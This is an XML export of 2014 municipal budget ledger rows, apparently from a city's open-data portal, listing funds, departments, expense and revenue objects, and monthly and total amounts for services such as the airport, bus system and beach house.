<row _id="12287"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>43654.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>43654.0</total></row>
<row _id="12288"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>402240.0</object><object_description>AIRPORT - EVENTS</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-60000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-60000.0</total></row>
<row _id="12289"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>6</fund_id><fund_name>Clean Bchs &amp; Ocean Prcl Tx Fd</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>570070.0</object><object_description>TRANSFER-STORMWATER</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>915434.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>915434.0</total></row>
<row _id="12290"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>408430.0</object><object_description>METRO TOD-DOWNTOWN EIR</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>-251691</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-251691.0</total></row>
<row _id="12291"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>222</division_id><division_name>FINANCIAL OPERATIONS</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>166628.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>166628.0</total></row>
<row _id="12292"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>49113.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>49113.0</total></row>
<row _id="12293"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>404560.0</object><object_description>UTILITY POLE LEASE FEE</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2014</fiscal_year><july>-3825.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-3825.0</total></row>
<row _id="12294"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>450.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>450.0</total></row>
<row _id="12295"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>673</division_id><division_name>ARCADIA TREATMENT PLANT</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>792433.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>792433.0</total></row>
<row _id="12296"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511743.0</object><object_description>MEDICAL - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>80730.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>80730.0</total></row>
<row _id="12297"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>544193.0</object><object_description>CLEANING SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>88068.0</july><august>0</august><september>0</september><october>0</october><november>-50000</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>38068.0</total></row>
<row _id="12298"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>555018.0</object><object_description>OUTSIDE REPAIRS/SERV-BUS STOP</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>308.0</july><august>0</august><september>0</september><october>0</october><november>150000</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>150308.0</total></row>
<row _id="12299"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>404150.0</object><object_description>LIBRARY COMPUTER SESSIONS FEE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-25000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-25000.0</total></row>
<row _id="12300"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>404750.0</object><object_description>415 PCH - RENTALS</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2014</fiscal_year><july>-51325.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-51325.0</total></row>
<row _id="12301"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>8334.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>375.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8709.0</total></row>
<row _id="12302"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1094.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>54.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1148.0</total></row>
<row _id="12303"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>11133.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11133.0</total></row>
<row _id="12304"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5206.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>71</december><january>105.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5382.0</total></row>
<row _id="12305"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1600.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1600.0</total></row>
<row _id="12306"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1600.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1600.0</total></row>
<row _id="12307"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>235325.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>235325.0</total></row>
<row _id="12308"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>72000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>72000.0</total></row>
<row _id="12309"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>128618.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>-50641.25</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>77976.75</total></row>
<row _id="12310"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>11625.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11625.0</total></row>
<row _id="12311"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>812.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>812.0</total></row>
<row _id="12312"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object xsi:nil="true" /><object_description>CAPITAL GRANTS-MISC PROJ-ARRA</object_description><category_code>657.0</category_code><category_code_description>Capital Grants</category_code_description><fiscal_year>2014</fiscal_year><july>-2486491.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>2286491.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-200000.0</total></row>
<row _id="12313"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>405620.0</object><object_description>PRIVATE COACHING FEE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-1500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1500.0</total></row>
<row _id="12314"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>405680.0</object><object_description>EVENT ADMINISTRATION FEE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-15897.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-15897.0</total></row>
<row _id="12315"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>562190.0</object><object_description> CLARE CLARITY FOR YOUTH</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>41651.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>41651.0</total></row>
<row _id="12316"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>562431.0</object><object_description>SHP-NEW DIRECTIONS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>44605.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>44605.0</total></row>
<row _id="12317"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>562433.0</object><object_description>SHP-STEP UP</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>87765.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>87765.0</total></row>
<row _id="12318"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>33969.0</june><total>33969.0</total></row>
<row _id="12319"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>405352.0</object><object_description>PRIVATE HAULER PER TON PAYMENT</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-121500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-121500.0</total></row>
<row _id="12320"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>406797.0</object><object_description>11 UASI GRANT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>-6364.43</june><total>-6364.43</total></row>
<row _id="12321"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>511749.0</object><object_description>VISION</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>278.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>278.0</total></row>
<row _id="12322"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>615.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>615.0</total></row>
<row _id="12323"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>533030.0</object><object_description>PROPERTY INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>220604.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>220604.0</total></row>
<row _id="12324"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>130070.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>130070.0</total></row>
<row _id="12325"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>533030.0</object><object_description>PROPERTY INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>96927.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>96927.0</total></row>
<row _id="12326"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>509.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>509.0</total></row>
<row _id="12327"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5125.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5125.0</total></row>
<row _id="12328"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>513.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>513.0</total></row>
<row _id="12329"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>408290.0</object><object_description>FIRE SAFETY OFFICER ASSIGN FEE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-420000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-420000.0</total></row>
<row _id="12330"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>248</division_id><division_name>COMMUNITY BROADBAND</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-1558.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1558.0</total></row>
<row _id="12331"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>248</division_id><division_name>COMMUNITY BROADBAND</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>77137.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>1137</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>78274.0</total></row>
<row _id="12332"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>31271.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>31271.0</total></row>
<row _id="12333"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>196000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>196000.0</total></row>
<row _id="12334"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>555951.0</object><object_description>FAC MAINT-KEC</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>27675.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>27675.0</total></row>
